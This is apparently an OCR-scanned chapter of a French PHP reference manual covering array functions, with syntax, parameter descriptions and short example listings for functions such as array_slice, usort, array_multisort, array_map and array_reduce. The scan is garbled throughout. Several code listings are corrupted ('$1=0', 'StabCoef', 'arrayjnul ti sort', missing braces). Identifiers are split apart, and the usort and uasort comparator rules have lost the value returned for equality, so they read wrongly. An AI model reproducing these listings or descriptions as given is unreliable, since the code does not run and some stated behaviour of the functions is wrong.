Syntaxe array array_pad (array $tableau, int $taille, mixed $valeur) 

$tableau Tableau de reference. 

$taille Taille (en valeur absolue) souhaitee pour le tableau resultat. Si vous 

souhaitez completer le tableau a gauche, indiquez alors la valeur en 
negatif. 

$val eur Valeur a utiliser pour completer le tableau. 

re tou r Retourne le tableau specifie, complete par la valeur pour atteindre la taille 

demandee. Si celle-ci (en valeur absolue) est inferieure a la taille initiale 
du tableau, ce dernier n'est tout simplement pas complete, mais sa taille 
n'en est pas pour autant reduite. 



array_slice() 

Retourne un tableau extrait d'un autre tableau. 

Syntaxe array array_sl ice (array $tableau, int $debut [, int 

$longueur] ) 

$tableau Tableau de reference. 

$debut Numero d'ordre du premier element du tableau a extraire. Au premier 

element du tableau correspond le numero 0. Ce numero d'ordre est 
independant de l'index (en particulier apres un appel a la fonction 
array_reverse ( ) avec comme second argument la valeur TRUE, 
l'element d'index peut se retrouver en fin de tableau). Si $debut est 
negatif, alors le compte se fait en partant de la fin du tableau. 
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$longueur 



retour 



Argument optionnel precisant le nombre d'elements a extraire. Par 
defaut, ce sont tous les elements suivants du tableau qui sont extraits. Si 
$ longueur est negatif, ce sont tous les elements jusqu'a l'element qui se 
trouve a abs ( $ 1 ongueur ) de la fin qui sont extraits. 

Tableau des elements extraits. Les cles sont conservees mais pas les index. 
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Listing 3.12 : array_array_slice.php 

<?php 

$tableau = array("cle" => "elementO", 2 => "elementl", 
1 => "element2"); 

print r(array slice($tableau, 0, 2)); 



retourne par exemple : 

Array ( [cle] => elementO [0] => elementl ) 



array_splice() 



Supprime les elements d'un tableau ; eventuellement, insere des elements dans le tableau et 
retourne le tableau des elements supprimes. 



Syntaxe 

$tableau 
$debut 



$longueur 



$remplacement 



retour 



array array_spl ice (array $tableau, int 
[, array $remplacement]]) 

Tableau a modifier. 



debut [, int $longueur 



Numero d'ordre du premier element du tableau a supprimer. Au premier 
element du tableau correspond le numero 0. Ce numero d'ordre est 
independant de 1'index (en particulier apres un appel a la fonction 
array_reverse ( ) avec comme second argument la valeur TRUE, 
l'element d'index peut se retrouver en fin de tableau). Si $debut est 
negatif, alors le compte se fait en partant de la fin du tableau. 

Argument optionnel precisant le nombre d'elements a supprimer. Par 
defaut, ce sont tous les elements suivants du tableau qui sont supprimes. Si 
$ 1 ongueur est negatif, ce sont tous les elements jusqu'a l'element qui se 
trouve a abs ( $ longueur ) de la fin qui sont supprimes. 

Tableau optionnel contenant les valeurs a inserer dans le tableau a partir 
de l'element pointe par $ debut. Si le nombre d'elements inseres est 
superieur au nombre d'elements supprimes, alors le reste du tableau est 
decale. Dans ce cas, les cles sont conservees mais pas les index. Par defaut, 
les elements sont simplement supprimes. 

Tableau des elements supprimes. 
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array_chunk() 



Retourne un tableau indexe ayant pour valeurs les morceaux d'un tableau decoupe en 
morceaux. 

Syntaxe array array_chunk (array $tableau, int $taille [, boolean 

$mode] ) 

$tabl eau Tableau a decouper en morceaux. 

$tai 1 1 e Taille des morceaux (nombre d'elements). 

$mode Precise si les cles du tableau doivent etre conservees : 

TRUE, les cles sont conservees. 

FALSE (valeur par defaut), chaque morceau de tableau est reindexe en 

commengant par 0. 

retour Tableau indexe contenant des tableaux issus de la decoupe en morceaux 

du tableau d'entree. 

Fonctions de manipulation des cles d'un tableau 



array_change_key_case () 

Retourne un tableau avec la casse des cles modifiee. 

Syntaxe array array_change_key_case (array $tableau [, int $casse]) 

$tableau Tableau de reference. 

$ c a s s e Au choix, l'une des deux constantes suivantes : 

CASE_LOWER (valeur par defaut), pour mettre toutes les cles en 

minuscules. 

CASE_UPPER, pour mettre toutes les cles en majuscules. 

retour Tableau avec tous les index en majuscules ou minuscules. 

Fonctions de conversion tableau <-> variable 




list() 



Construit une liste de variables a partir des donnees d'un tableau. 

Ce n'est pas une veritable fonction, puisqu'elle s'utilise de la iaqon suivante : 
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list ($variablel , $variable2 , 



) 



$tableau 



Syntaxe void list(mixed $variablel [.mixed $variable2, ...]) 

$vari abl el Variable a laquelle doit etre affectee la premiere valeur du tableau. 

$vari abl e2 Variable a laquelle doit etre affectee la seconde valeur du tableau, 

etc. 



extract () 
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Construit une liste de variables a partir des donnees d'un tableau, les noms des variables etant 
bases sur les cles du tableau. 



Syntaxe 

$tableau 
$modeExtraction 



$prefixe 



retour 



int extract (array $tableau [, int $modeExtraction [, string 
$prefixe]]) 

Tableau (associatif) dont on veut se servir pour creer des variables. 

Argument optionnel indiquant quelle strategie adopter, principalement si 
la variable que Ton souhaite creer existe deja. Cet argument peut prendre 
une valeur parmi : 

EXTR_OVERWRITE (valeur par defaut) remplace la valeur de la variable 

par la valeur trouvee dans le tableau si la cle correspond a une variable 

existante. 

EXTR_SKI P ignore l'element rencontre si la cle correspond a une variable 

existante. 

EXTR_PREFIX_SAME fait preceder le nom de la variable par $pref ixe 

si la cle correspond a une variable existante. 

EXTR_PREFIX_ALL fait systematiquement preceder le nom de la 

variable par $pref ixe. 

EXTR_PREFIX_INVALID fait preceder le nom de la variable par 

$pr ef ixe si la cle ne permet pas de creer un nom de variable valide (par 

exemple si la cle est en fait un index). 

Argument optionnel a preciser si $modeExtraction prend l'une des 
valeurs suivantes : EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, 
EXTR_PREFIX_INVALID. 

Nombre de variables generees. 



compact () 



Retourne un tableau associatif cree a partir des noms de variables (qui seront les cles du 
tableau) et de leurs valeurs. 
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Syntaxe array compact (string $variabl el [, string $variable2, ...]) 

$vari abl el , ... Noms des variables a ajouter au tableau. Ces arguments peuvent, en fait, 
egalement etre des tableaux contenant des chaines de caracteres precisant 
des noms de variables (ou des tableaux). Chaque argument sous forme de 
tableau est traite de facpn recursive. 

retour Tableau associatif contenant l'ensemble des paires (cle, valeur) 

correspondant aux noms de variables donnes. 

Fonctions de parcours de tableau 

Les tableaux etant en fait des listes de couples (cle, valeur) ou (index, valeur), ils peuvent etre 
parcourus non pas uniquement en s'appuyant sur les cles ou les index, mais egalement grace a 
un pointeur se deplacant dans la liste. 



current () 



Retourne la valeur actuellement pointee par le pointeur interne du tableau (sans avancer le 
pointeur). 

Syntaxe mixed current (array $tableau) 

$tableau Tableau a parcourir. 

retour Valeur actuellement pointee par le pointeur interne de $tableau. 

FALSE si le pointeur est en dehors du tableau. 




pos() 



Equivalent de current ( ) . 



keyO 



Retourne la cle (ou index) de l'element actuellement pointe par le pointeur interne du tableau 
(sans avancer le pointeur). 

Syntaxe mixed key (array $tableau) 

$tableau Tableau a parcourir. 

retour Cle (ou index) de l'element actuellement pointe par le pointeur interne de 

$tableau. FALSE si le pointeur est en dehors du tableau. 
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reset () 



Remet le pointeur interne au debut du tableau et retourne le premier element. 

Syntaxe mixed reset (array $tableau) 

$tableau Tableau a parcourir. 

retour Premier element du tableau. FALSE si le tableau est vide. 



next() 



Avance le pointeur interne du tableau et retourne le nouvel element pointe. 

Syntaxe mixed next (array $tableau) 

$tableau Tableau a parcourir. 

retour Element suivant du tableau. FALSE si Ton a depasse la fin du tableau. 

Listing 3.13 : array next.php 

<?php 

// Exemple de parcours d'un tableau 

// avec le pointeur interne et la fonction 

// next(); 

$tableau = array( "Debut", "", "Milieu", 0, "Fin"); 

// Ici, l'appel a reset () n'est pas necessaire 
// puisque apres initialisation le pointeur 
// de tableau est au debut. 
$valeur = reset($tableau) ; 

// Tant que valeur est differente de FALSE 

// ATTENTION: 

// 1 - Bien prendre soin de mettre les 2 signes = 

// afin de comparer egalement les types 

// car == FALSE (meme valeur) 

// alors que !== FALSE (meme valeur mais pas meme type) 

// 2 - Ce type de parcours n'est valable 

// que si le tableau ne possede aucun 

// element valant FALSE 

while ($valeur !== FALSE) { 

echo "$valeur<br />"; 

$valeur = next($tableau) ; 
} 
?> 
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aura pour effet d'afficher : 
Debut 

Milieu 


Fin 



prev() 



Recule le pointeur interne du tableau et retourne le nouvel element pointe. 

Syntaxe mixed prev (array $tableau) 

$tableau Tableau a parcourir. 

retour Element precedent du tableau. FALSE si le debut du tableau a ete deplace. 



end() 




Place le pointeur interne a la fin du tableau et retourne le dernier element. 

Syntaxe mixed end (array $tableau) 

$tableau Tableau a parcourir. 

retour Dernier element du tableau. FALSE si le tableau est vide. 



each() 



Retourne un tableau contenant la cle et la valeur de l'element actuellement pointe par le 
pointeur interne du tableau, puis avance le pointeur. 



Syntaxe 

$tableau 
retour 



array each(array $tableau) 

Tableau a parcourir. 

Tableau compose de quatre elements. A l'element d'index et a l'element 
de cle "key" est associee la cle (ou l'index) de l'element pointe. A l'element 
d'index 1 et a l'element de cle "value" est associee la valeur de l'element 
pointe. FALSE si la fin du tableau est depassee. 



REMARQUE 



eachQ et listQ un duo tres apprecie en concurrence avecforeach 

Le tableau issu de I'appel a each ( ) est souvent associe a list ( ) afin de manipuler 
de simples chatnes plutot que des tableaux selon le shema list ($cle, $valeur) 
= each ($tableau) ;. Ainsi, les tableaux sont souvent parcourus de la facon 
suivante : 
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REMARQUE 



reset ($tableau) ; 

while (list($cle, $valeur) = each($tableau)) { 

echo "A la cle $cle est associe la valeur $valeur<br />"; 



Une autre solution consiste a utiliser for each. Mais il est egalement possible de le 
faire de la facon suivante : 

foreach($tableau as $cle => $valeur) 

echo "A la cle $cle est associee la valeur $valeur<br />"; 



t Fonctions de gestion de piles 



II est possible d'utiliser les tableaux PHP comme des piles, e'est-a-dire comme des listes dans 
lesquelles s'empilent les elements et auxquelles on peut acceder en prenant le premier ou le 
dernier element. 



array_push() 



Ajoute un ou plusieurs elements a la fin du tableau (au-dessus de la pile). 

Syntaxe int array_push (array $tableau, mixed $valeurl, [mixed 

$valeur2, ...]) 

$tabl eau Tableau auquel vous souhaitez ajouter des elements. 

$val eur 1 , ... Valeurs (ou donnees) que vous souhaitez ajouter au tableau. 

retour Retourne le nombre d'elements du tableau apres ajout. 



Equivalent de array _push() 

A la valeur retour pres, array_push($ tableau, $valeurl) equivaut a 
REHARQJE $ t ableau[] = $valeurl; 



array_pop() 

Retourne et supprime le dernier element du tableau (celui du dessus de la pile). 

Syntaxe mixed array_pop (array $tableau) 

$tabl eau Tableau que Ton veut "depiler". 

retour Le dernier element du tableau ou NULL si le tableau est vide (ou si 

l'argument n'est pas un tableau). 
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array_unshift() 

Ajoute un ou plusieurs elements au debut du tableau (au bas de la pile). 

Syntaxe int array_unshi ft (array $tableau, mixed $valeurl, [mixed 

$valeur2, ...]) 

$tabl eau Tableau auquel vous souhaitez ajouter des elements. 

$val eur 1 , ... Valeurs (ou donnees) que vous souhaitez ajouter au tableau. La premiere 

valeur donnee correspondra a la premiere valeur du tableau resultat. 

retour Retourne le nombre d'elements du tableau apres ajout. 



array_shift() 

Retourne et supprime le premier element du tableau (celui du bas de la pile). 

Syntaxe mixed array_shi ft (array $tableau) 

$tabl eau Tableau que Ton veut "depiler" par le bas. 

retour Le premier element du tableau ou NULL si le tableau est vide (ou si 

l'argument n'est pas un tableau). 

Fonctions de tri 
Tri inverse 



array_reverse() 

Retourne un tableau avec les valeurs dans l'ordre inverse de celui specifie. 

Syntaxe array array_reverse(array $tabl eau, [boolean $avecCle]) 

$tableau Tableau de reference. 

$avecCl e Argument optionnel a positionner a TRUE si l'association cle->valeur doit 

etre conservee (pour un tableau indexe, les valeurs conserveront 
egalement leur index). Par defaut $avecCle = FALSE ; le tableau 
resultat est alors obligatoirement un tableau indexe entre et la taille du 
tableau -1. 

retour Retourne le tableau specifie avec les valeurs classees dans l'ordre inverse. 
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Tri selon l'ordre croissant des valeurs 



sort() 



Trie les elements d'un tableau dans l'ordre croissant des valeurs. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre o et la taille du 
tableau-1. 

Syntaxe void sort (array $tableau) 

$tableau Tableau a trier. 

Listing 3.14 : arraysorl.php 

<?php 

$tableauVil le = array("Circuit" => "Le Mans", "Braderie" => "Lille", 

"Horloge" => "Rouen", "Place Stanislas" => "Nancy"); 
sort ($tableauVi lie) ; 

for ($1=0; $i<count($tableauVille); $i++) { 
echo $i." - ".$tableauVille[$i] ."<br />"; 



?> 




affichera 


- 


Le Mans 


1 - 


Lille 


2 - 


Nancy 


3 - 


Rouen 



asort() 



Trie les elements d'un tableau dans l'ordre croissant des valeurs, tout en conservant 
1'association cle => valeur. 

Syntaxe void asort (array $tableau) 

$tableau Tableau a trier. 



natsortQ 



Trie les elements d'un tableau dans l'ordre croissant, dit "naturel", des valeurs. Ce tri ne se 
contente pas de comparer les chaines de caracteres, caractere par caractere, mais distingue les 
parties numeriques des parties alphabetiques. Ainsi, dans l'ordre "naturel", "mot2" apparait 



192 



Les tableaux 



avant "motlO". Les cles ou index ne sont pas conserves ; le tableau devient obligatoirement un 
tableau indexe entre et la taille du tableau-1. 



Syntaxe void natsort (array $tableau) 

$tableau Tableau a trier. 



natcasesort() 



Trie les elements d'un tableau dans l'ordre croissant, dit "naturel", des valeurs sans tenir compte 
de la casse. Ce tri ne se contente pas de comparer les chaines de caracteres, caractere par 
caractere, mais distingue les parties numeriques des parties alphabetiques. Ainsi, dans l'ordre 
"naturel", "mot2" apparait avant "motlO". Les cles ou index ne sont pas conserves ; le tableau 
devient obligatoirement un tableau indexe entre et la taille du tableau -1. 

Syntaxe void natcasesort (array $tableau) 

$tableau Tableau a trier. 



natsortQ, natcasesortQ et ordre decroissant 

Les fonctions natsort () et natcasesort () ne proposent pas d 'equivalent pourun 
tri decroissant. Pour un tel tri, vous devrez faire appel a natsort () ou 
natcasesort ( ) puis d $tableau = array_reverse ($ tableau ) ;. 




Tri selon l'ordre decroissant des valeurs 



rsort() 



Trie les tableaux dans l'ordre decroissant des valeurs. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe void rsort (array $tableau) 

$tableau Tableau a trier. 

Voir l'exemple associe a la fonction sort ( ) . 



arsortQ 



Trie les elements d'un tableau dans l'ordre decroissant des valeurs, tout en conservant 
l'association cle =>valeur. 
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Syntaxe void arsort (array $tableau) 

$tableau Tableau a trier. 

Tri personnalise des valeurs 



usortQ 



Trie les elements d'un tableau dans l'ordre croissant des valeurs, en determinant 1'ordre des 
valeurs a partir d'une fonction definie par l'utilisateur. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe boolean usort (array $tableau, fonction $fonctionComparaison) 

$tableau Tableau a trier. 

$fonctionComparaison Nom de la fonction a utiliser pour comparer les valeurs. Cette fonction 
doit accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiority du premier argument sur le deuxieme et -1 sinon. 

boolean TRUE. 

Listing 3.15 : arrayusort.php 

<?php 

function maFonction($valeurl, $valeur2) { 
// La fonction suivante retourne 
// un pourcentage de similarity entre 
// les 2 chaTnes de caracteres. 
// On pourra ainsi dire[ jlaquelle des 2 chaTnes 
// des 2 valeurs se rapproche le plus 
// de "Etretat" 

$sl = similar_text($valeurl, "Etretat"); 
$s2 = similar_text($valeur2, "Etretat"); 

if ($sl == $s2) return 0; 
return ($sl > $s2) ? -1 : 1; 



$tableauMot = array("Etat", "Etretat", "Etretot", "Arrete"); 

// Tri du plus proche du mot "Etretat" 
// au plus eloigne. 
usort($tableauMot, "maFonction") ; 
print_r($tableauMot) ; 
?> 



retourne bien les elements du tableau du plus proche du mot "Etretat" au plus eloigne. 
Array ( [0] => Etretat [1] => Etretot [2] => Etat [3] => Arrete ) 
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Cas d 'utilisation 

Ce type de fonction est particulierement utile dans le cas d'une methode de 
comparaison unpeu complexe (comme lorsque, dans I'exemple, il s'agit de calculer 
la similarite entre chaines de caracteres), et surtout lorsque les elements du tableau 
sont des objets et que les comparaisons s'appliquent sur les attributs de I'objet. 



uasortQ 



Trie les elements d'un tableau dans l'ordre croissant des valeurs, en determinant 1'ordre des 
valeurs a partir d'une fonction definie par l'utilisateur. Les cles (ou index) ne sont pas 
conservees ; le tableau devient obligatoirement un tableau indexe entre et la taille du 
tableau-1. 

Syntaxe boolean uasort(array $tableau, fonction $fonctionComparaison) 

$tableau Tableau a trier. 

$fonctionComparaison Nom de la fonction a utiliser pour comparer les valeurs. Cette fonction 
doit accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiorite du premier argument sur le deuxieme et - 1 sinon. 

retour TRUE. 

Tri selon l'ordre croissant des cles 




ksort() 



Trie les elements d'un tableau dans l'ordre croissant des cles, tout en conservant 1'association 
cle => valeur. 

Syntaxe boolean ksort (array $tableau) 

$tableau Tableau a trier, 

retour TRUE. 

Tri selon l'ordre decroissant des cles 



krsortQ 



Trie les tableaux dans l'ordre decroissant des cles, tout en conservant 1'association cle => 
valeur. 
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Syntaxe boolean krsort (array $tableau) 

$tableau Tableau a trier, 

retour true. 



Tri personnalise des cles 



uksort() 

Trie les elements d'un tableau dans l'ordre croissant des cles, en determinant l'ordre des cles a 
partir d'une fonction definie par l'utilisateur. 



=> Syntaxe boolean uksort (array $tableau, fonction $fonctionComparaison) 



$tableau Tableau a trier. 

$fonctionComparaison Nom de la fonction a utiliser pour comparer les cles. Cette fonction doit 
accepter deux arguments et retourner : en cas d'egalite, 1 en cas de 
superiorite du premier argument sur le deuxieme et - 1 sinon. 

retour TRUE. 

Voir l'exemple associe a la fonction usort ( ) . 

Tri sur des tableaux lies 



array_multisort() 

Trie les elements des tableaux selon l'ordre du premier tableau indique. 

Syntaxe boolean arrayjnulti sort (array $tableaul [,int $model] [, int 

$mode2] , array $tableau2 [, array $tableau3]) 

$tabl eaul Tableau a trier a prendre comme reference pour le tri. 

$model Sens de tri. 

SORT_ASC pour un tri croissant. 
SORT_DESC pour un tri decroissant. 

$mode2 Option de tri: 

SORT_REGULAR pour une comparaison "traditionnelle" des valeurs. 
S0RT_NUMERIC pour une comparaison numerique des valeurs. 
S0RT_STRING pour une comparaison alphabetique des valeurs. 

$tableau2, . . . Tableaux sur lesquels les permutations effectuees sur $tableauldoivent 

etre repercutees. 
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Listing 3.16 : arrayarraymultisort.php 

<?php 

// Exemple de 2 tableaux lies 
// Nom et Notes doivent toujours correspondre ... 
$eleves = array("Pierre", "Jean", "Henri", "Odi lie" 
$notes = array(12, 15, 13, 10); 

// ... et pourtant on voudrait trier 
// selon les prenoms des Sieves, 
arrayjnul ti sort ($el eves , $notes) ; 

echo "<b>Eleves</b>: "; 
print_r($eleves) ; 

echo "<br />"; 

echo "<b>Notes</b>:"; 

print_r($notes) ; 

echo "<br />"; 

// ... ou encore selon 1 'ordre decroissant 

// des notes. 

arrayjnul ti sort ($notes, S0RT_DESC, $eleves); 

echo "<br />"; 

echo "<b>Eleves</b>: "; 

print_r($eleves) ; 

echo "<br />"; 

echo "<b>Notes</b>:"; 

print_r($notes) ; 



affichera 

El eves: Array ( [0] => Henri [1] => Jean [2] => Odi lie [3] => Pierre ) 

Notes: Array ( [0] => 13 [1] => 15 [2] => 10 [3] => 12 ) 

El eves: Array ( [0] => Jean [1] => Henri [2] => Pierre [3] => Odi lie ) 

Notes: Array ( [0] => 15 [1] => 13 [2] => 12 [3] => 10 ) 
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shuffle () 

Trie les elements d'un tableau dans l'ordre.... aleatoire. Autrement dit, melange les elements 
d'un tableau. Les cles (ou index) ne sont pas conservees ; le tableau devient obligatoirement un 
tableau indexe entre et la taille du tableau -1. 

Syntaxe boolean shuffle (array $tableau) 

$tableau Tableau a melanger. 

retour TRUE. 

Fonctions de statistiques 

II existe quatre fonctions que Ton peut assimiler a des fonctions de statistiques. 

array_sum() 

Retourne la somme des valeurs des elements d'un tableau (fort pratique pour calculer les 
moyennes). 

Syntaxe mixed array_sum (array $tableau) 

$tabl eau Tableau sur lequel doit s'effectuer l'operation. 

retour La somme des valeurs des elements du tableau, de type entier ou reel, 

selon le contenu du tableau. 



array_count_values () 

Retourne un tableau precisant le nombre d'occurrences d'une valeur dans un tableau donne. 

Syntaxe array array_count_values (array $tableau) 

$tabl eau Tableau sur lequel doit s'effectuer l'operation. 

retour Tableau associatif ayant comme cles les valeurs du tableau sur lequel a ete 

effectuee l'operation et comme valeur le nombre d'occurrences de la cle. 

Listing 3.17 : arrayarraycountvalues 

<?php 

$tableauNote = array ("Pierre" => 10, "Marcel" => 12, "Franck" => 10, 
"Jean" => 10, "Marie" => 15, "Cecile" => 12); 
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$stats = array_count_values($tableauNote) ; 

echo "A ce devoir ...<br />\n"; 
while (list($note, $nb) = each($stats)) { 
echo "$nb el eves ont eu $note<br />"; 



donnera le resultat 

A ce devoir . . . 
3 el eves ont eu 10 
2 el eves ont eu 12 
1 el eves ont eu 15 

(nous vous laissons le soin d'ameliorer ce script pour traiter le cas ou $nb = l). 



i Voir aussi lesfonctions min ( ) et max() developpees dans le chapitre "Les fonctions 
mathematiques" . 



RENVOI 

Fonctions mettant en ceuvre plusieurs tableaux 
Comparaison de tableaux 



array_diff() 



Retourne un tableau presentant les valeurs contenues dans un tableau, mais absentes d'autres 
tableaux. 

Syntaxe array array_diff (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche l'eventuelle presence des valeurs du 

tableau 1. 

retour Tableau presentant toutes les valeurs contenues dans $tableaul et qui 

n'ont ete trouvees dans aucun des autres tableaux precises. Les cles sont 
conservees (identiques a celle de $tableaul). 



array_intersect() 



Retourne un tableau presentant les valeurs contenues dans un tableau et dans un ensemble 
d'autres tableaux. 
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Syntaxe array array_intersect (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche I'eventuelle presence des valeurs du 

tableau 1. 

retour Tableau presentant toutes les valeurs contenues dans $tableaul et qui 

ont ete trouvees dans tous les autres tableaux precises. Les cles sont 
conservees (identiques a celle de $tableaul). S'il n'y a pas de valeurs 
communes alors c'est un tableau vide qui est retourne. 



array_intersect_assoc () 



Retourne un tableau presentant les valeurs et les cles associees a celle-ci, contenues dans un 
aj tableau et dans un ensemble d'autres tableaux. 

Syntaxe: array array_intersect_assoc (array $tableaul, array $tableau2, 

[array $tableau3, ...]) 

$tabl eaul Tableau dont on veut comparer le contenu avec ceux des autres tableaux. 

$tabl eau2 , . . . Tableaux dans lesquels on recherche I'eventuelle presence des valeurs du 

tableau 1. 

retour Tableau presentant toutes les valeurs et les clefs contenues dans 

$ tableaul et qui ont ete trouvees dans tous les autres tableaux precises. 
Les cles sont conservees (identiques a celle de $ tableaul). 

<?php 

$tableaul = array(0=>"Belgique", l=>"France", 2=>"Italie", 3=>"Suisse") ; 

$tableau2 = array(l=>"France", 3=>"Ital1e", 2=>"Irlande") ; 

$tableauFinal = array_intersect_assoc($tableaul, $tableau2); 

print_r($tableau Final) ; 

?> 

Array 

( 

1 => France 

) 

Fusion de tableaux 

array_merge() 

Retourne un tableau issu de la fusion d'un ensemble de tableaux. 
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Syntaxe array arrayjnerge (array $tableaul, array $tableau2, [array 

$tableau3, ...]) 

$tableaul, ... Les tableaux a fusionner. 

retour Tableau presentant toutes les valeurs contenues dans les differents 

tableaux. Au fil du parcours des tableaux a fusionner, les valeurs ont ete 
ajoutees a la fin du tableau resultat. Les valeurs liees a des cles peuvent etre 
ecrasees si la cle est rencontree plusieurs fois. 



array_merge_recursive () 



Retourne un tableau issu de la fusion d'un ensemble de tableaux. Dans ce cas, si une cle donnee 
est rencontree plusieurs fois, la valeur dans le tableau resultat ne sera pas la derniere valeur 
rencontree, mais la fusion (dans un tableau) des valeurs rencontrees. 

Syntaxe array array_merge_recursive(array $tableaul, array $tableau2, 

[array $tableau3, ...]) 

$tabl eaul , . . . Les tableaux a fusionner. 

retour Tableau presentant toutes les valeurs contenues dans les differents 

tableaux. Au fil du parcours des tableaux a fusionner, les valeurs ont ete 
ajoutees a la fin du tableau resultat. Les valeurs liees a des cles rencontrees 
plusieurs fois sont regroupees dans un tableau. 

Listing 3.18 : array_array_merge_recursive.php 

<?php 

$agendal = array ("Lundi" => "Medecin", "Mardi" => "Coiffeur"); 
$agenda2 = array("Mardi " => "Reunion", "Vendredi" => "VTT"); 

$agenda = array_merge_recursive($agendal, $agenda2); 
print_r($agenda) ; 
?> 

Voila comment fusionner intelligemment deux agendas... 

Array ( [Lundi] => Medecin [Mardi] => Array ( [0] => Coiffeur [1] => Reunion ) 
x [Vendredi] => VTT ) 

Fonctions de traitement personnalise des tableaux 



array_filter() 

Retourne un tableau filtre a partir d'une fonction ecrite par l'utilisateur. 
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Syntaxe array array_fi Iter (array $tableau [, function 

$fonctionFiltre] ) 

$tableau Tableau a filtrer. 

$f onct i onFi 1 tre Fonction a appeler pour determiner si l'element doit etre conserve ou non 
dans le tableau resultat. Cette fonction doit prendre en compte un 
argument, et retourner TRUE si l'element doit etre conserve, FALSE sinon. 
Ce parametre est (curieusement) optionnel. Si aucune fonction de filtrage 
n'est fournie, alors le tableau est restitue tel quel. 

retour Retourne le tableau d'entree sans les elements qui ont ete indiques, par la 

fonction $fonctionFiltre, comme etant a filtrer. Les cles et index du 
tableau sont conserves. 

Listing 3.19 : arrayarrayfilter.php 



a. 

09 

cn 

=> <?php 

J2 
o> 



// Exemple de filtre qui ne conserve que les 
// prenoms commengant par M 
function monFiltre($prenom) { 

return ($prenom[0] == "M"); 
} 

$prenoms = array ("Stephane", "Marie", "Thierry", "Abi", 
"Christophe", "Manu", "Anne"); 

print r(array filter ($prenoms , "monFiltre")) ; 



ne conserve bien que les prenoms commengant par M. 
Array ( [1] => Marie [5] => Manu ) 



array_map() 



Retourne un tableau issu du resultat de l'application d'une fonction ecrite par l'utilisateur, et 
prenant en compte les donnees d'un ou de plusieurs tableaux. 

Syntaxe array array_map(function $fonction, array $tableaul [, array 

$tableau2, ...]) 

$fonction Fonction a appeler pour chaque element des tableaux $tableaul, 

$tableau2, etc. Cette fonction doit prendre en compte autant 
d'arguments que de tableaux fournis. 

$tabl eaul , . . . Tableaux contenant les valeurs sur lesquelles doit s'appliquer la fonction. 

Si certains tableaux sont moins longs que le plus grand des tableaux, des 
valeurs nulles completent ces tableaux. Ces tableaux sont traites dans 
l'ordre de leurs elements (et non de leur index). 
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retour Tableau indexe de la taille du plus grand des tableaux passes en parametre 

et ayant pour valeurs le resultat de la fonction appliquee aux elements des 
tableaux passes en parametre. 

Listing 3.20 : array_array_map.php 

<?php 

// Exemple de 2 tableaux servant 

// a stocker des coordonnees 

// C'est pas aussi beau que la programmation 

// objet mais des fois ga depanne 

$tabX = array (1, 5, 2, 4); 
$tabY = array (10, 2, 3, 2); 



// Exemple d'une fonction permettant 
// le calcul de la distance entre un point 
// et le centre (0, 0) 
function distance($x, $y) { 
return sqrt($x*$x + $y*$y) ; 



// Et, hop, d'un simple appel a 

// arrayjnap j'ai mes distances 

// pour tous les points. 

print r(array map("distance", $tabX, $tabY)); 




? 



> 



retournera le tableau des distances suivant : 

Array ( [0] => 10.049875621121 [1] => 5.3851648071345 [2] => 3.605551275464 [3] 
x => 4.4721359549996 ) 



array_reduce() 



Retourne le resultat d'une operation definie par l'utilisateur, appliquee iterativement sur 
l'ensemble des valeurs d'un tableau. 

Syntaxe mixed array_reduce(array $tableau, function $fonction [,int 

$valeurlnitiale]) 

$tableau Tableau contenant les valeurs sur lesquelles doivent s'effectuer 

l'operation. 

$fonction Fonction a appeler iterativement sur chaque element du tableau. Cette 

fonction doit prendre en compte deux arguments, le premier etant le 
resultat du calcul trouve jusque-la, le second etant la valeur a prendre en 
compte pour la poursuite du calcul. La fonction doit retourner le nouveau 
resultat obtenu. 
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$valeurlnitiale Argument optionnel, precisant la valeur initiale utilisee pour le calcul. Par 
defaut $valeurlnitiale = 0. 

retour Le resultat du calcul voire la valeur initiale si le tableau est vide. 

Listing 3.21 : array_array_reduce.php 

<?php 

// Calcul de P(xO) 

// ou P polynome 

// P(x) = x~4 + 2x^3 + x~2 + 4x + 6 

// = (((x + 2)*x + l)*x +4)*x + 6 

// Soit le calcul iteratif 

// Resultat = 1 

// Resultat = Resultat*xO + 2 

// Resultat = Resultat*xO + 1 

// Resultat = Resultat*xO + 4 

// Resultat = Resultat*xO + 6 

// Ainsi avec le tableau des coefficients 
StabCoef = array(2, 1, 4, 6); 

// et la ch'tite fonction 

function polynome($resul tat, $coef) { 

$x0=5; // Calcul pour x0=5; 

return $resultat*$xO + $coef; 
} 



// J'ai mon resultat 

echo "P(5)=".array_reduce($tabCoef , "polynome", 1) 



?> 



Si vous souhaitez vraiment le savoir, cela retourne : 
P(5)=926 

array_walk() 

Appelle une fonction utilisateur sur chaque element d'un tableau. 

Syntaxe boolean array_wal k (array $tableau, function $fonction [, mixed 

$argument]) 

$tableau Tableau contenant les valeurs sur lesquelles doivent s'effectuer les 

operations. 

$foncti on Fonction a appeler pour chaque element du tableau. Cette fonction doit 

prendre en compte deux arguments (ou trois si $argument est specifie), 
le premier argument etant la valeur de l'element actuellement considere, 
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le second etant la cle (cm index) de l'element actuellement considere. Le 
troisieme argument prendra la valeur de $argument). Attention ! il n'est 
pas possible dans ce cas d'appeler une fonction PHP, vous devez 
necessairement creer votre propre fonction. 

$ argument Argument optionnel, passe en troisieme parametre de la fonction 

utilisateur. 

retour TRUE si l'operation s'est bien passee, FALSE sinon. 



Passage par valeur 

N'oubliez pas que, par defaut, les parametres passes auxfonctions le sontpar valeur. 
Si vous souhaitez utiliser array_walk( ) pour modifier les valeurs du tableau, 
n'oubliez pas d'utiliser une interface similaire a mafonction (&$valeur, $cle). 



Listing 3.22 : arrayarraywalk.php 

<?php 

$menu = array ("Accueil", "Forum", "A propos"); 

// Fonction pour afficher le contenu 

// du menu avec 1 'index et un separateur 

function affiche($valeur, $key, $separateur) { 

echo ($key+l)." $separateur ".$valeur."<br />"; 
} 

